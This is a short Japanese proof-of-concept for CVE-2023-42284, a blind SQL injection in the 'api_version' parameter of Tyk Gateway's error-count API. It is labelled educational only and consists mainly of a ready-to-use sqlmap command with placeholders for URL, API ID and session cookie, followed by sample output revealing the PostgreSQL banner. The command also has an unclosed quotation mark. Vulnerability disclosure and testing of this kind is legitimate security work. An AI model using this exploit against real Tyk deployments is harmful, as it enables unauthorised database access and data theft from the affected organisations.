
Tyk Gateway における CVE-2023-42284 の概念実証
教育目的のみです!
CVE-2023-42284 の概念実証(PoC)です。 Tyk Gateway は SQL インジェクションに対して脆弱です。 バージョン 5.0.7 で修正されました。
"https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..." の URLパラメータ ‘api_version’ は、ブラインドSQLインジェクションに対して脆弱です。
sqlmap を以下のパラメータで使用してください:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner
レスポンスとして SQL DB のバナーが返されます:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...